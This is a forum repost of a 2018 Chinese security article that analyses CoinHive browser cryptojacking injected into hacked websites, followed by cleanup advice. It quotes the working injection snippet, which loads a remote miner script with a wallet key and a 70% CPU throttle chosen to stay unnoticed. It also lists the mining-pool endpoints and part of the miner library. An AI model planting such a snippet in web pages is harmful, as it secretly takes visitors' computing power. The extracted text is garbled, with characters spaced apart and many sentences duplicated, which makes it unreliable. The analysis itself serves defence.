搜索

[13077] 2018-08-18_CoinHive智能网页挖矿的二三事

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2018-08-18_CoinHive智能网页挖矿的二三事 C o i n H i v e 智 能 网 页 挖 矿 的 二 三 事 s i 1 e n c e   F r e e B u f   2 0 1 8 - 0 8 - 1 8 0 x 0 背 景 背 景 挖 矿 目 前 已 经 成 为 黑 帽 子 牟 利 的 主 要 手 段 ， 最 近 上 网 偶 然 间 发 现 部 分 网 站 被 挂 马 后 存 在 网 页 挖 矿 的 行 为 ， 区 别 挖 矿 目 前 已 经 成 为 黑 帽 子 牟 利 的 主 要 手 段 ， 最 近 上 网 偶 然 间 发 现 部 分 网 站 被 挂 马 后 存 在 网 页 挖 矿 的 行 为 ， 区 别 于 常 规 病 毒 操 作 系 统 中 挖 矿 行 为 ， 网 页 主 要 在 网 站 上 挂 上 恶 意 的 于 常 规 病 毒 操 作 系 统 中 挖 矿 行 为 ， 网 页 主 要 在 网 站 上 挂 上 恶 意 的 J S 脚 本 ， 访 问 该 网 站 即 触 发 挖 矿 动 作 。 脚 本 ， 访 问 该 网 站 即 触 发 挖 矿 动 作 。 目 前 很 多 网 页 挖 矿 主 要 以 目 前 很 多 网 页 挖 矿 主 要 以 C o i n H i v e 的 方 式 较 多 ， 一 般 挖 矿 用 户 以 主 动 方 式 直 接 使 用 的 方 式 较 多 ， 一 般 挖 矿 用 户 以 主 动 方 式 直 接 使 用 C 或 者 其 他 语 言 构 造 的 或 者 其 他 语 言 构 造 的 m i n e r 客 户 端 进 行 客 户 端 进 行 C P U 或 或 G P U 计 算 计 算 H a s h 。 前 端 挖 矿 用 户 以 被 动 或 主 动 方 式 在 不 知 情 或 知 情 情 况 下 利 用 浏 览 者 的 。 前 端 挖 矿 用 户 以 被 动 或 主 动 方 式 在 不 知 情 或 知 情 情 况 下 利 用 浏 览 者 的 C P U 或 或 G P U 。 。 0 x 1 现 象 现 象 访 问 恶 意 网 站 时 C P U 飙 升 ， 关 闭 网 站 后 回 复 正 常 水 平 。 关 闭 之 后 ：
0 x 2 源 代 码 分 析 源 代 码 分 析 查 看 网 页 源 代 码 可 发 现 部 分 挖 矿 的 代 码 ， 经 过 简 单 确 定 非 手 机 浏 览 器 后 ， 即 开 始 挖 矿 的 动 作 。
浏 览 器 进 程 占 用 了 较 大 的 C P U 资 源 ： 查 看 浏 览 器 进 程 中 ， 可 以 在 内 存 地 址 中 发 现 有 挖 矿 地 址 的 痕 迹 ： 主 要 引 用 的 挖 矿 代 码 的 详 细 都 在 引 用 的 J S 脚 本 当 中 ， 仅 使 用 7 0 % 的 C P U 资 源 。 J g v 7 n o i x I K H m J 7 I I h A R 9 j y S A w G 3 Z U 8 v t ： C o i n H i v e   当 中 的 钱 包 地 址 ； t h r o t t l e ： 浏 览 器 占 用 C P U 的 阈 值 ， 调 节 到 合 适 的 阈 值 时 用 户 会 很 难 注 意 到 浏 览 器 的 算 力 被 滥 用 。 c o i n h i v e . m i n . j s 源 码 如 下 ： < s c r i p t   s r c = " h t t p s : / / c o i n h i v e . c o m / l i b / c o i n h i v e . m i n . j s " > < / s c r i p t > < s c r i p t >   v a r   m i n e r   =   n e w   C o i n H i v e . A n o n y m o u s ( ' J g v 7 n o i x I K H m J 7 I I h A R 9 j y S A w G 3 Z U 8 v t ' ,   { t h r o t t l e :   0 . 7 } ) ;   i f   ( ! m i n e r . i s M o b i l e ( )   & &   ! m i n e r . d i d O p t O u t ( 1 4 4 0 0 ) )   {   m i n e r . s t a r t ( ) ; } < / s c r i p t >
挖 矿 脚 本 使 用 W e b S o c k e t 与 矿 池 进 行 通 信 ， 部 分 的 矿 池 结 点 如 下 ： 挖 矿 脚 本 允 许 自 动 调 节 线 程 数 目 ： 0 x 3   解 决 方 法 解 决 方 法 : 1 . 根 据 页 面 后 查 看 网 页 源 代 码 ， 搜 索 有 关 于 C o i n H i v e ， M i n e r 等 关 键 字 可 以 快 速 定 位 到 界 面 ， 使 用 记 事 本 或 者 网 页 编 辑 器 删 除 挖 矿 的 关 键 代 码 。 2 . 访 问 小 电 影 网 站 时 候 多 留 心 自 己 的 C P U 性 能 。 * 本 文 作 者 ： 本 文 作 者 ： s i 1 e n c e ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M w s s : / / w s 0 0 1 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 0 2 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 0 3 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 0 4 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 0 5 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 0 6 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 0 7 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 0 8 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 0 9 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 1 0 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 1 1 . c o i n h i v e . c o m / p r o x y     w s s : / / w s 0 1 2 . c o i n h i v e . c o m / p r o x y t h i s . _ t h r o t t l e = M a t h . m a x ( 0 , M a t h . m i n ( . 9 9 , t h i s . p a r a m s . t h r o t t l e | | 0 ) ) ; t h i s . _ s t o p O n I n v a l i d O p t I n = f a l s e ; t h i s . _ w a i t i n g F o r A u t h = f a l s e ; t h i s . _ s e l f T e s t S u c c e s s = f a l s e ; t h i s . _ v e r i f y T h r e a d = n u l l ; t h i s . _ a u t o T h r e a d s = { e n a b l e d : ! ! t h i s . p a r a m s . a u t o T h r e a d s , i n t e r v a l : n u l l , a d j u s t A t : n u l l , a d j u s t E v e r y : 1 e 4 , s t a t s : { } } ; t h i s . _ t a b = { i d e n t : M a t h . r a n d o m ( ) * 1 6 7 7 7 2 1 5 | 0 , m o d e : C o i n H i v e . I F _ E X C L U S I V E _ T A B , g r a c e : 0 , w a i t R e c o n n e c t : 0 , l a s t P i n g R e c e i v e d : 0 , i n t e r v a l : n u l l } ;
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理